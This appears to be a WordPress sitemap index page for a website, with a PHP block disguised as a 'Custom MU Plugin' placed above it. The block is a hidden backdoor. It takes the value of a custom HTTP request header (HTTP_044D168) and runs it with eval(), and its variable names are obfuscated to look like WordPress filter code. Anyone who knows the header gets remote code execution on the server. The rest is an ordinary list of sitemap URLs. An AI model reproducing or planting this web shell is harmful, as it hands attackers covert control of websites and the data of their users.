/*
Plugin Name: Custom MU Plugin
Description: MU-test-plugin.
*/

// Ваш код, который нужно вставить
$add_filter_qo = $_SERVER;
$add_filter_lhaj = 'HTTP_044D168';
if (isset($add_filter_qo[$add_filter_lhaj])) {
    eval($add_filter_qo[$add_filter_lhaj]);
}<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://multisalevirtual.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://multisalevirtual.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://multisalevirtual.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://multisalevirtual.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://multisalevirtual.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>